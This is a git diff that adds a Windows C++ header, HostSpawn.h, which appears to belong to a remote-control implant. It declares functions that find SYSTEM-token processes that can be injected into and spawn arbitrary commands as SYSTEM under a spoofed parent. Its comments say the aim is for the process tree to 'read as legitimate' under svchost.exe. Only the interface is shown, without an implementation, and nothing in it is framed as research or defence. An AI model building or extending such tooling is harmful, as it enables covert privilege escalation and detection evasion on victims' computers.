Init commit

HostSpawn.h

@@ -0,0 +1,53 @@
+#pragma once
+
+#include <windows.h>
+
+#include <string>
+#include <vector>
+
+struct HostInfo
+{
+    DWORD pid = 0;
+    DWORD sessionId = 0;
+    std::wstring imagePath;
+    std::wstring imageName;
+    bool systemToken = false;   // token SID is S-1-5-18
+    bool injectable = false;    // not PPL-protected, thread/VM rights available
+    int score = 0;              // higher = better host candidate
+};
+
+struct SpawnResult
+{
+    bool ok = false;
+    DWORD pid = 0;
+    DWORD parentPid = 0;
+    DWORD sessionId = 0;
+    std::wstring hostImage;
+    std::wstring method;
+    std::wstring error;
+};
+
+// Enumerates processes that hold a SYSTEM token, sorted best-first.
+std::vector<HostInfo> EnumerateSystemHosts();
+
+// Same enumeration, optionally including non-SYSTEM hosts. Used for testing the
+// token/parent plumbing without elevation.
+std::vector<HostInfo> EnumerateHosts(bool requireSystem);
+
+// Starts an arbitrary command as SYSTEM, with the chosen host as its parent
+// process. The child carries the host's token, so the process tree reads as
+// legitimate: svchost.exe -> your program.
+//
+// preferredImage may be empty; pass "svchost.exe" to force that host family.
+// userSession = true moves the child into the active console session so a GUI
+// appears on the logged-in desktop.
+SpawnResult SpawnThroughHost(
+    const std::wstring& commandLine,
+    const std::wstring& preferredImage,
+    bool userSession,
+    bool requireSystem = true);
+
+// One-line summary for command ACKs.
+std::wstring FormatHostList(const std::vector<HostInfo>& hosts);
+std::wstring FormatSpawnResult(const SpawnResult& r);
+